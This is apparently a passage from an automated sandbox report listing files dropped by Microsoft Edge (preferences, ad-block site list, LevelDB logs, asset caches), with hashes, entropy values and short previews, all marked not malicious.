Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1736795910"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8d26a462-66b0-40c1-b0d5-79c7d88c5130.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.09644805434059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB/wuVhDO6vP6O0g+aBXd4bf0FcFADNcGoup1Xl3j0:z/Ps+wsI7ynEs6n+aBXtchu3VlXr4CRg
MD5:	68D362AE2107BAE8155561EBC017C4BF
SHA1:	8A00A3D630670BC8F1714C8662BD94A23282DF25
SHA-256:	8284E497620E8EF7646D08E39D44151A484424E22FC4B77CD39E017FF46198AD
SHA-512:	7EA3FA875EF318F9F3736B5A2BED30977A1C7856DBA7A605A00DB3B6A0D807428D70EB931E75060F4455EBA8C9B10F847C9C30A9C7E1B7EAF92A2381D5944125
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640150861192053
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7A:fwUQC5VwBIiElEd2K57P7A
MD5:	B04D1201B7C983202CB8DEB5EABAB9D5
SHA1:	34804867487524FDFEEE1566462AAFBFB9CBD953
SHA-256:	542BC74CB247AB6047F9C5D54BAF615509B66795537EF501D50311F96B40A536
SHA-512:	850CF9734C1A893D31BEB4979B5ACB9D84728E72DE0C98E6F743BFFA361625622058339456209E64FC11FC7C817F5237FBE7EC0A3FF47DD76FDC8239615AE003
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\f505a0af-c50a-41f3-846c-635282d44f6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640150861192053
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7A:fwUQC5VwBIiElEd2K57P7A
MD5:	B04D1201B7C983202CB8DEB5EABAB9D5
SHA1:	34804867487524FDFEEE1566462AAFBFB9CBD953
SHA-256:	542BC74CB247AB6047F9C5D54BAF615509B66795537EF501D50311F96B40A536
SHA-512:	850CF9734C1A893D31BEB4979B5ACB9D84728E72DE0C98E6F743BFFA361625622058339456209E64FC11FC7C817F5237FBE7EC0A3FF47DD76FDC8239615AE003
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\14b4f13f-97ee-4bb3-af8c-add8a3bcc1b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\323d316c-e061-4ad0-9f9d-1d742c28f2a8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\42f00855-96b3-4756-8b51-b8f085bfa423.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.556037746647212
Encrypted:	false
SSDEEP:	768:N/ppxbWPKgfp+8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/R1aFrwkeqoqKp7tuD:N/ppxbWPKgfp+u1jae/aukeqBOtg
MD5:	238DEA7C429E7629FD0E18820D2B73ED
SHA1:	605A35627717AC30849FF8F49E2CAE875F29171C
SHA-256:	D84FDCF5648110171254B5C0ABEEE573340DB959B36F776A7FF8053B774CC1FE
SHA-512:	5D8FA23E55A6509B2328366403BE812F2A32FF72C4C3B2EC89C40FD642D46A3A8BC284E8B25B088D4D5199EB881C4B4FBE5849827A4D5A6EF4223FC563189BDA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13381269505792784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13381269505792784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8c343510-9d11-4933-afa0-fe79dde2bcff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13845
Entropy (8bit):	5.233632967998143
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuypbsuJsZihUk43oYw5aP82bV+FSg4Qwt66WaaFIMYOPc8:st8PGKSu4bsuJfhwPbGf4QwE6WaaTYa
MD5:	1566D3F6269CF2B7B50E3511803F0FC6
SHA1:	89580BD920B6E7523DDEAFDE0C63D534A68A95DD
SHA-256:	3C8AA069D69F509B1B2DA4E8C7A2D0F696CDF21C8C523061B29E5D0C7E087B87
SHA-512:	6AAF5E2BC458523AAE1B311E5610CDE07BFE820F013779EEADA17BF273B3CACC871957D8FC234AFA02D86D458D0BAD773CC490C6AE2C6E30AF0431872B207B91
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9cb88426-f4fc-4b35-bd48-b7bd760666b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222857100773408
Encrypted:	false
SSDEEP:	24576:v+/PN8FdfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN87fx2mjF
MD5:	0ACC8E96A59F444C319DEA4374AA88A9
SHA1:	5378F06EA1A8665E5C16F8F6204743915813B2C5
SHA-256:	EE3B1DB1716895958B77A4FA5AF65BF45A2C2661E8F084CB68CD47D3060DE3EF
SHA-512:	ADF387CF27E3CDE70157680F573CE9B613FAE554FCD980A55F6809E15A9522D070F95BF915A87635B03D4F20A7AA0EC397015F8AD098FE06889D390714389AAA
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.1389122808137415
Encrypted:	false
SSDEEP:	6:iOQ9+q2P923oH+Tcwt9Eh1tIFUtpJZmwmCHpQf0P3d5TQfVF2Bs0VP:7fv4Yeb9Eh16FUtD/miBTu2BVh
MD5:	5556250B26875FE18BE0819FFA19A775
SHA1:	8E9ADC6D9DF1837984A65A06A44E5793AA98462C
SHA-256:	D62F848BE1C3BDD548508B280D8E079031644AA2D9929EB12C5A3710174C98CD
SHA-512:	C1D4B761169233F8FDD3B8B7A3AD89553A0B7332BA905E704D94104D9776B5B6845737F2B6B8F56FA03ADAF9F0A56E34441D0B40ED569AD6A90BA29A64532696
Malicious:	false
Preview:	2025/01/13-14:21:25.940 1c08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/01/13-14:21:25.941 1c08 Recovering log #3.2025/01/13-14:21:25.949 1c08 Level-0 table #3: started.2025/01/13-14:21:25.998 1c08 Level-0 table #3: 739858 bytes OK.2025/01/13-14:21:26.005 1c08 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.1389122808137415
Encrypted:	false
SSDEEP:	6:iOQ9+q2P923oH+Tcwt9Eh1tIFUtpJZmwmCHpQf0P3d5TQfVF2Bs0VP:7fv4Yeb9Eh16FUtD/miBTu2BVh
MD5:	5556250B26875FE18BE0819FFA19A775
SHA1:	8E9ADC6D9DF1837984A65A06A44E5793AA98462C
SHA-256:	D62F848BE1C3BDD548508B280D8E079031644AA2D9929EB12C5A3710174C98CD
SHA-512:	C1D4B761169233F8FDD3B8B7A3AD89553A0B7332BA905E704D94104D9776B5B6845737F2B6B8F56FA03ADAF9F0A56E34441D0B40ED569AD6A90BA29A64532696
Malicious:	false
Preview:	2025/01/13-14:21:25.940 1c08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/01/13-14:21:25.941 1c08 Recovering log #3.2025/01/13-14:21:25.949 1c08 Level-0 table #3: started.2025/01/13-14:21:25.998 1c08 Level-0 table #3: 739858 bytes OK.2025/01/13-14:21:26.005 1c08 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old~RF63683.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.1389122808137415
Encrypted:	false
SSDEEP:	6:iOQ9+q2P923oH+Tcwt9Eh1tIFUtpJZmwmCHpQf0P3d5TQfVF2Bs0VP:7fv4Yeb9Eh16FUtD/miBTu2BVh
MD5:	5556250B26875FE18BE0819FFA19A775
SHA1:	8E9ADC6D9DF1837984A65A06A44E5793AA98462C
SHA-256:	D62F848BE1C3BDD548508B280D8E079031644AA2D9929EB12C5A3710174C98CD
SHA-512:	C1D4B761169233F8FDD3B8B7A3AD89553A0B7332BA905E704D94104D9776B5B6845737F2B6B8F56FA03ADAF9F0A56E34441D0B40ED569AD6A90BA29A64532696
Malicious:	false
Preview:	2025/01/13-14:21:25.940 1c08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/01/13-14:21:25.941 1c08 Recovering log #3.2025/01/13-14:21:25.949 1c08 Level-0 table #3: started.2025/01/13-14:21:25.998 1c08 Level-0 table #3: 739858 bytes OK.2025/01/13-14:21:26.005 1c08 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354153890623289
Encrypted:	false
SSDEEP:	6144:HA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:HFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	E000D9712F729ADAF6CECF97C9E2DE71
SHA1:	E68E93A28C5D5277A47B1A958126189A9A396318
SHA-256:	7DD90654256F91CD17DF9926D0E4BADF22C51704710A2D38AC69084AA2B99D3B
SHA-512:	82BB21E4BBD7B877AFC1B4FCE04C48E10255C550DBA1EC279402AE61FC62747D768B5A7DFBCCCA908BC22BF376AACD8B15A55809D89C654D2C136B651994250A
Malicious:	false
Preview:	...m.................DB_VERSION.1...q...............&QUERY_TIMESTAMP:domains_config_gz2...13381269511745669..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
